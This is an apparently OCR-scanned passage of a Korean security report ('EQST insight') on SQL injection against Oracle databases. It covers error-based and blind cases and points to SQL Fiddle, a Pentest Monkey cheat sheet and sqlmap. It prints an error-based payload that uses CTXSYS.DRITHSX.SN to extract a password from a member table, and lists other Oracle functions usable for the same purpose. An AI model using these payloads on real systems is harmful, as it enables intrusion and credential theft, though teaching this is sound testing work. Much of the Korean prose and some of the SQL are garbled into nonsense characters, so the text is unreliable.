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B SQL Injection

Step 1. 7id
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case 2. Error Based SQL Injection
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ServletBxception: java.sal SOLSyntaxErrorException: [ORA-00933: SOL command not proper |y enced

ache. jasper. runtime. PageContext Imp|  hand|ePageExcept ion{PageContext Imp| . java: B57)
ache.isp. logindction_isp._ispService(logindction_isp. java: 215)
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SELECT * FROM member WHERE id = "egst’ AND'CTXSYS.DRITHSX.SNltuser,

(SELECT PW FROM (SELECT PW, ROWNUM AS ENUM FROM member) WHERE RNUM=1))}=1--;
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» B W & SoL | &3 =:SELECT + FROM member WHERE id = 'east’ AND CTXSYS DRITHSK. SN

CORA-Z0000: Oracle Text error:

DRG=11701: thesaurus 1234 does not exist |
ORA-DEETE: at "CTR=Y= DELES, line Te0

ORA-0GE1Z: at "CTHREYS . DRITHZX", line 540
ORA-0E512: at line 1

20000, 00000 — "wHs"

+Cause:  The stored procedure 'raise_application_grror’
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UTL_INADDR.GET_HOST_NAME((&3t= MERZ| LHE))
UTL_INADDR.GET_HOST_ADDRESS((¥3t= MEHZ| LI8))
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((&3t= ME#E| LH),user,user)
CTXSYS.DRITHSX.SN(user,(#8t= MER 2| LIE))
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case 3. Blind SQL Injection
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1. SQL Fiddle
- URL ! http://sqlfiddle.com/

Y Bl SQL AAE HAEF 4 9E AolEolr Oracle, MS-SQL, MySQL 5
chFet doleElol et MHe Adstn otk AR AR Hele AMstel e F4E
G oglom, AAHoE ME doleE AFsh] Mol £4A HAES 2 & Utk

2. Cheat Sheet — Pentest Monkey
- URL ! https://pentestmonkey.net/category/cheat—sheet/sql-injection

EZA Q1 Cheat Sheet AFO]EQ] Pentest Monkey o4& to]ElH|o]A® Cheat Sheet & A
At ot 34 Hol2EE Algo] 7] wfeel Falshrlel £
g2 4 qleng FA mo|2trt ofmet Yot FF2 uvx|=A] oldlotal ARESh= AHo|

=85}t
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3. sqlmap
- URL : https://sqlmap.org/

SQL Injection FoFH-E ©x|/Xdstal 2538}t

Lot HolgHolA Fx mefy Holy F

U= Aol ATt JJ‘ gk YEQIZ EdY
A

/\11:' ]/\-]1— ;{1— /V\o]

EQST insight | 13



AA7E AR o

mUSD
SQL Injection®] 7HQE AmESItt SQL Injection F2FHo] A& A, &
ool AE TAst] R ARE Zstn FHT 4 gounz AEAL FHokHol WAYStA
AL = ol star, Hgat= HoFd AT Al R glo] 2= o] Fasith
4 ZoIME SQL Injection®] 37H4 ¥2 £% F SELECTZS] 2oz AHE F
AATE AE A WS 4 oe B2 ofs

o]ojz2]= 59
%6]_—]5 'Uniol’l SQL InjectiOn'QJ 7H11’§|]-Tq' "ZHO—}:@'
AHA8] Lot s sHAlct.

EQST insight | 14




